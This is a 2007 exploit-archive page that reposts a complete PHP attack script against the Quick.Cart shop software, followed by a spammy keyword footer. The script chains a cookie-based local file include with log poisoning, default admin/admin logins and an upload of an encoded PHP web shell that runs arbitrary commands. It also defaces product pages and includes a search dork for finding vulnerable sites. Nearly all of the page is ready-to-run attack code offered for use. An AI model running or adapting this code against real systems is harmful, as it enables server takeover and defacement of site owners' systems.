about advertise contact
Search: Home Vulnerabilities Exploits News Articles RSS Feeds Archive

exploits , vulnerabilities , articles , Quick.Cart <= 2.2 RFI/LFI Remote Code Execution Exploit




2007-06-03 Quick.Cart <= 2.2 RFI/LFI Remote Code Execution Exploit
Rated as : High Risk

<?php
/*
Exploit Name:
Quick.Cart <= v2.2 Remote Local Include Exploit & Remote Code Execution
Exploit

Autor: Kacper
Contact: kacper1964@yahoo.pl
Homepage: http://www.rahim.webd.pl/
Kacper Hacking & Security Blog: http://kacper.bblog.pl/
Irc: irc.milw0rm.com:6667 #devilteam 

Pozdro dla wszystkich z kanalu IRC oraz forum DEVIL TEAM.

Pozdrawiam pl.zone-h.org, a najbardziej demo, oraz cala ekipe Zone-H.Org 
:)

//dork: "Powered by Quick.Cart"

script homepage/download/demo: http://opensolution.org/
*/

if ($argc<4) {
    print_r('
---------------------------------------------------------------------------
Usage: php '.$argv[0].' host path cmd OPTIONS
host:      target server (ip/hostname)
path:      path to Quick.Cart
cmd:       a shell command
Options:
 -p[port]:    specify a port other than 80
 -P[ip:port]: specify a proxy
 -L[Login]:    Admin login (Default: admin)
 -H[Password]: Admin password (Default: admin)
Example:
php '.$argv[0].' localhost /Quick.Cart/ ls -la
php '.$argv[0].' localhost /Quick.Cart/ ls -la -Ladmin -Hadmin
php '.$argv[0].' localhost /Quick.Cart/ ls -la -P1.1.1.1:80
---------------------------------------------------------------------------
');
die;
}
error_reporting(7);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="rn";
$exa.="rn";}
  }
 return $exa."rn".$result;
}
$proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)';

function wyslijpakiet($pakiet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to
".$parts[0].":".$parts[1]." proxy...rn";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$pakiet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or
(!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
}
$host=$argv[1];
$path=$argv[2];
$port=80;
$proxy="";
$login="admin";
$haslo="admin";
$cmd="";
for ($i=3; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>'-p') and ($temp<>'-P')) {$cmd.="
".$argv[$i];}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
if ($temp=="-L")
{
  $login=str_replace("-L","",$argv[$i]);
}
if ($temp=="-H")
{
  $haslo=str_replace("-H","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo
'bad patch!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
/*
how its works :)

in file "config/general.php" lines 12-33:

################################################################################
$config['dir_config']           = 'config/';
$config['dir_core']             = 'core/';
$config['dir_db']               = 'db/';
$config['dir_js']               = 'js/';
$config['dir_libraries']        = 'libraries/';
$config['dir_tpl']              = 'templates/';
$config['dir_files']            = 'files/';
$config['dir_ext']              = 'ext/';
$config['dir_plugins']          = 'plugins/';
$config['dir_lang']             = 'lang/';

if( isset( $sLang ) && is_file( $config['dir_lang'].$sLang.'.php' ) &&
strlen( $sLang ) == 2 ){
  setCookie( 'sLanguage', $sLang, time( ) + 86400 );
  define( 'LANGUAGE', $sLang );
}
else{
  if( isset( $_COOKIE['sLanguage'] ) )           
<-------------------------[^]
    define( 'LANGUAGE', $_COOKIE['sLanguage'] );   
<-------------------------[^^]
  else
    define( 'LANGUAGE', $config['default_lang'] ); 
}
################################################################################

and in index.php we can find line 32:

################################################################################
require_once DIR_LANG.LANGUAGE.'.php'; <-------------------------[^^^]
################################################################################

we can define LANGUAGE string. 

Now how remote code execution:

in admin panel can upload any file on serwer, if you have admin login and
password. Default admin login and password in script is "admin"
many users dont change it!!
They don't edit file "config/general.php" lines 75-76:
$config['login']		= "admin";
$config['pass']		= "admin";

;)

Elo :)
*/

echo "insert evil code in logfiles to run local include
...rnrn";
$hauru2 =
base64_decode("PD9waHAgb2JfY2xlYW4oKTsvL1J1Y2hvbXkgemFtZWsgSGF1cnUgOy0pZWNobyIuL".
"i5IYWNrZXIuLkthY3Blci4uTWFkZS4uaW4uLlBvbGFuZCEhLi4uREVWSUwuVEVBTS".
"4udGhlLi5iZXN0Li5wb2xpc2guLnRlYW0uLkdyZWV0ei4uLiI7ZWNobyIuLi5HbyB".
"UbyBERVZJTCBURUFNIElSQzogNzIuMjAuMTguNjo2NjY3ICNkZXZpbHRlYW0iO2Vj".
"aG8iLi4uREVWSUwgVEVBTSBTSVRFOiBodHRwOi8vd3d3LnJhaGltLndlYmQucGwvI".
"jtpbmlfc2V0KCJtYXhfZXhlY3V0aW9uX3RpbWUiLDApO2VjaG8gIkhhdXJ1IjtwYX".
"NzdGhydSgkX1NFUlZFUltIVFRQX0hBVVJVXSk7ZGllOz8+");
$pakiet="GET ".$p.$hauru2." HTTP/1.0rn";
$pakiet.="User-Agent: ".$hauru2." Googlebot/2.1rn";
$pakiet.="Host: ".$host."rn";
$pakiet.="Connection: closernrn";
wyslijpakiet($pakiet);
sleep(1);
$paths= array (
"../../../../../var/log/httpd/access_log",
"../../../../../var/log/httpd/error_log",
"../apache/logs/error.log",
"../apache/logs/access.log",
"../../apache/logs/error.log",
"../../apache/logs/access.log",
"../../../apache/logs/error.log",
"../../../apache/logs/access.log",
"../../../../apache/logs/error.log",
"../../../../apache/logs/access.log",
"../../../../../apache/logs/error.log",
"../../../../../apache/logs/access.log",
"../logs/error.log",
"../logs/access.log",
"../../logs/error.log",
"../../logs/access.log",
"../../../logs/error.log",
"../../../logs/access.log",
"../../../../logs/error.log",
"../../../../logs/access.log",
"../../../../../logs/error.log",
"../../../../../logs/access.log",
"../../../../../etc/httpd/logs/access_log",
"../../../../../etc/httpd/logs/access.log",
"../../../../../etc/httpd/logs/error_log",
"../../../../../etc/httpd/logs/error.log",
"../../../../../var/www/logs/access_log",
"../../../../../var/www/logs/access.log",
"../../../../../usr/local/apache/logs/access_log",
"../../../../../usr/local/apache/logs/access.log",
"../../../../../var/log/apache/access_log",
"../../../../../var/log/apache/access.log",
"../../../../../var/log/access_log",
"../../../../../var/www/logs/error_log",
"../../../../../var/www/logs/error.log",
"../../../../../usr/local/apache/logs/error_log",
"../../../../../usr/local/apache/logs/error.log",
"../../../../../var/log/apache/error_log",
"../../../../../var/log/apache/error.log",
"../../../../../var/log/access_log",
"../../../../../var/log/error_log"
);
for ($i=0; $i<=count($paths)-1; $i++)
{$a=$i+2;
echo "[".$a."] Check Path:
".$paths[$i]."rn";
echo "remote code execution...wait..n";
$pakiet ="GET ".$p."index.php HTTP/1.1rn";
$pakiet.="Cookie: sLanguage=../".$paths[$i]."%00;rn";
$pakiet.="HAURU: ".$cmd."rn";
$pakiet.="Host: ".$host."rn";
$pakiet.="Connection: Closernrn";
wyslijpakiet($pakiet);
if (strstr($html,"Hauru"))
{$temp=explode("Hauru",$html);
die($temp[1]);
}else{echo "can't run evil code :/ ..n";}}
$data  
="_POST[sLogin]=".$login."&_POST[sPass]=".$haslo."&submit=sign%20in%20»";
$pakiet ="POST ".$p."admin.php?p=login HTTP/1.0rn";
$pakiet.="Host: ".$host."rn";
$pakiet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.1; SV1; .NET CLR 2.0.50727)rn";
$pakiet.="Content-Type: application/x-www-form-urlencodedrn";
$pakiet.="Content-Length: ".strlen($data)."rn";
$pakiet.="Accept: text/plainrn";
$pakiet.="Connection: Closernrn";
$pakiet.=$data;
wyslijpakiet($pakiet);
$temp=explode("Set-Cookie: ",$html);
$cookie="";
for ($i=1; $i<count($temp); $i++)
{$temp2=explode(" ",$temp[$i]);
$cookie.=" ".$temp2[0];}
$temp=explode("PHPSESSID=",$cookie);
$temp2=explode(";",$temp[1]);
$ciacho=$temp2[0];
echo "Now remote code execution with admin account..n";
echo $ciacho."n";
$hauru=
"x20x0dx0ax47x49x46x38x36x0dx0ax3cx3fx70x68x70x20".
"x6fx62x5fx63x6cx65x61x6ex28x29x3bx0dx0ax2fx2fx52".
"x75x63x68x6fx6dx79x20x7ax61x6dx65x6bx20x48x61x75".
"x72x75x20x3bx2dx29x0dx0ax65x63x68x6fx22x2ex2ex2e".
"x48x61x63x6bx65x72x2ex2ex4bx61x63x70x65x72x2ex2e".
"x4dx61x64x65x2ex2ex69x6ex2ex2ex50x6fx6cx61x6ex64".
"x21x21x2ex2ex2ex44x45x56x49x4cx2ex54x45x41x4dx2e".
"x2ex74x68x65x2ex2ex62x65x73x74x2ex2ex70x6fx6cx69".
"x73x68x2ex2ex74x65x61x6dx2ex2ex47x72x65x65x74x7a".
"x2ex2ex2ex22x3bx0dx0ax20x0dx0ax20x0dx0ax65x63x68".
"x6fx22x2ex2ex2ex47x6fx20x54x6fx20x44x45x56x49x4c".
"x20x54x45x41x4dx20x49x52x43x3ax20x37x32x2ex32x30".
"x2ex31x38x2ex36x3ax36x36x36x37x20x23x64x65x76x69".
"x6cx74x65x61x6dx22x3bx0dx0ax20x0dx0ax20x0dx0ax65".
"x63x68x6fx22x2ex2ex2ex44x45x56x49x4cx20x54x45x41".
"x4dx20x53x49x54x45x3ax20x68x74x74x70x3ax2fx2fx77".
"x77x77x2ex72x61x68x69x6dx2ex77x65x62x64x2ex70x6c".
"x2fx22x3bx0dx0ax20x0dx0ax20x0dx0ax69x6ex69x5fx73".
"x65x74x28x22x6dx61x78x5fx65x78x65x63x75x74x69x6f".
"x6ex5fx74x69x6dx65x22x2cx30x29x3bx0dx0ax20x0dx0a".
"x20x0dx0ax65x63x68x6fx20x22x48x61x75x72x75x22x3b".
"x0dx0ax20x0dx0ax20x0dx0ax70x61x73x73x74x68x72x75".
"x28x24x5fx53x45x52x56x45x52x5bx48x54x54x50x5fx48".
"x41x55x52x55x5dx29x3bx0dx0ax20x0dx0ax20x0dx0ax64".
"x69x65x3bx3fx3ex0dx0ax20";
$data.='-----------------------------7d6224c08dc
Content-Disposition: form-data; name="sName"

DEVIL TEAM
-----------------------------7d6224c08dc
Content-Disposition: form-data; name="aCategories[]"

1
-----------------------------7d6224c08dc
Content-Disposition: form-data; name="fPrice"

10000000.00
-----------------------------7d6224c08dc
Content-Disposition: form-data; name="sDescriptionShort"

Hacked by Polish Hackers
-----------------------------7d6224c08dc
Content-Disposition: form-data; name="sDescriptionFull"

http://www.rahim.webd.pl/
-----------------------------7d6224c08dc
Content-Disposition: form-data; name="iPosition"

-99
-----------------------------7d6224c08dc
Content-Disposition: form-data; name="iStatus"

1
-----------------------------7d6224c08dc
Content-Disposition: form-data; name="aFiles[]";
filename="hauru.php"
Content-Type: text/plain

'.$hauru.'
-----------------------------7d6224c08dc
Content-Disposition: form-data; name="aFilesDescription[]"

1
-----------------------------7d6224c08dc
Content-Disposition: form-data; name="aFilesPosition[]"

1
-----------------------------7d6224c08dc
Content-Disposition: form-data; name="iProduct"


-----------------------------7d6224c08dc
Content-Disposition: form-data; name="sOption"

save
-----------------------------7d6224c08dc
Content-Disposition: form-data; name="submit"

zapisz »
-----------------------------7d6224c08dc--
';
$pakiet ="POST ".$p."admin.php?p=productsList&sOption=save
HTTP/1.0rn";
$pakiet.="Content-Type: multipart/form-data;
boundary=-----------------------------7d6224c08dcrn";
$pakiet.="Accept-Language: plrn";
$pakiet.="Proxy-Connection: Keep-Alivern";
$pakiet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.1; SV1; .NET CLR 2.0.50727)rn";
$pakiet.="Cookie: sLogin=".$login.";
PHPSESSID=".$ciacho."rn";
$pakiet.="Content-Length: ".strlen($data)."rn";
$pakiet.="Connection: Closernrn";
$pakiet.=$data;
wyslijpakiet($pakiet);
sleep(1);
echo "Now try to remote code execution...n";
$pakiet ="GET ".$p."files/hauru.php HTTP/1.1rn";
$pakiet.="HAURU: ".$cmd."rn";
$pakiet.="Host: ".$host."rn";
$pakiet.="Connection: Closernrn";
sendpacketii($pakiet);
if (strstr($html,"Hauru"))
{$temp=explode("Hauru",$html);
die($temp[1]);}
echo "Cant find evil file :/    maybe this version script is too old
but is not vulnerable ...";
echo "Go to DEVIL TEAM IRC: irc.milw0rm.com:6667 #devilteam ";
?>
securitydot.net - 2007-06-03

Advertising

Copyright 2007, SecurityDot
Wed, 25 Nov 2009 00:30:58 +0000

Friends : milw0rm.com , secunia.com , securityfocus.com
GOOGLE
NEWS EXPLOITS VULNS
exploits , 0day exploits , newest exploits , vulnerabilities , newest vulnerabilities , 0day vulnerabilities , newest articles , linux articles , articles
DLG__ WWW.Sexwor www.nick.c PhpBB 2.0. nayandara www.aah5.c www.lesbyt avtoakusti www.zhengt hay lesbia news for C vBulletin www.CnITon trip.77yoy Pgp auction1.p a sex all cartoo www.somiya Microsoft maliksohai Too assaultor. www.southi windows xp www.ido200 /search/ex videoprno flpvienam. www.maxxx. ass arabic MS07-021 Sania sex 200 /compo Linux 2.6 ashnews.ph Sexy photo mysextv openSSH_4. GET /galle www.shahva bideosporn UW Imapd 2 sextoom co www.ab99.c www.book20 freesexvid news for c ashely ols mod_frontp